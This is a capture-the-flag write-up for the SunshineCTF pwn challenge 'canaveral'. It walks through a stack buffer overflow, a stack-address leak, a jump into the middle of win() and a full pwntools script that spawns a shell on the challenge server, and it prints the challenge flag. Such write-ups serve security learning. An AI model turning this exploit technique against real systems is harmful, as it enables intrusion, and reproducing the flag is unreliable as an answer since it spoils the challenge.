NASA Mission Control needs your help... only YOU can enter the proper launch sequence!!
canaveral
nc chal.sunshinectf.games 25603
Decompile in IDA:
int vuln()
{
_QWORD buf[5]; // [rsp+0h] [rbp-40h] BYREF
_QWORD v2[3]; // [rsp+28h] [rbp-18h]
memset(buf, 0, sizeof(buf));
v2[0] = 0;
*(_QWORD *)((char *)v2 + 6) = 0;
printf("Enter the launch sequence: ");
read(0, buf, 0x64u);
return printf("Successful launch! Here's your prize: %p\n", buf);
}
void __fastcall win(int a1, const char *a2)
{
if ( a1 == 201527 && a2 && !memcmp(a2, "/bin/sh", 7u) )
system(a2);
}
There is a stack overflow in read(0, buf, 0x64u)
. We can override return address to win
. However, it validates the arguments. Let’s see if we can bypass the check by jumping to the body of win
instead of its entrypoint:
.text:00000000004011FD mov edx, 7 ; n
.text:0000000000401202 lea rcx, aBinSh ; "/bin/sh"
.text:0000000000401209 mov rsi, rcx ; s2
.text:000000000040120C mov rdi, rax ; s1
.text:000000000040120F call _memcmp
.text:0000000000401214 test eax, eax
.text:0000000000401216 jnz short loc_40122E
.text:0000000000401218 mov rax, [rbp+s1]
.text:000000000040121C mov rdi, rax ; command
.text:000000000040121F mov eax, 0
.text:0000000000401224 call _system
If we jump to 0x401218
, then the effective instructions are:
.text:0000000000401218 mov rax, [rbp+s1]
.text:000000000040121C mov rdi, rax ; command
.text:000000000040121F mov eax, 0
.text:0000000000401224 call _system
Then, we only need to put the address of /bin/sh
(it is 0x402008 in binary) to rbp+s1
(rbp-0x10 in fact), then it will call system("/bin/sh")
for us.
How do we put the address of /bin/sh
to rbp-0x10? The code leaks the stack for us, but it returns immediately:
int vuln()
{
// ..., leak stack
return printf("Successful launch! Here's your prize: %p\n", buf);
}
So we can leak stack address for the first round while overwriting the return address to vuln
, which gives us another round to attack. In the second round, we put the address of /bin/sh
on the stack, overrides the saved rbp so that the new rbp minus 0x10 stores the address of /bin/sh
, then we jump to 0x401218
to get shell:
from pwn import *
elf = ELF("./canaveral")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch="amd64", os="linux", log_level="debug")
p = remote("chal.sunshinectf.games", 25603)
# p = process(["./canaveral"])
# gdb.attach(p)
# pause()
# two rounds
# first round jump back to vuln leak stack address
vuln_addr = elf.symbols["vuln"]
p.sendline(b"A" * 0x40 + p64(0) + p64(vuln_addr))
buf_addr = int(p.recvline().split()[-1], 16)
# second round, set rbp & save &"/bin/sh" to rbp+0x10
ret_addr = 0x40101A # ret gadget to balance stack
system_mid_addr = 0x401218
bin_sh_addr = next(elf.search(b"/bin/sh"))
# the address of bin_sh_addr is new_buf+0x40+0x8*3 = new_buf+0x58
# set rbp to buf+0x70, new_buf=buf-0x8 due to first round, then rbp-0x10 = buf+0x60 == new_buf+0x58
p.sendline(
b"A" * 0x40 + p64(buf_addr + 0x70) + p64(ret_addr) + p64(system_mid_addr) + p64(bin_sh_addr)
)
p.interactive()
Flag: sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}
.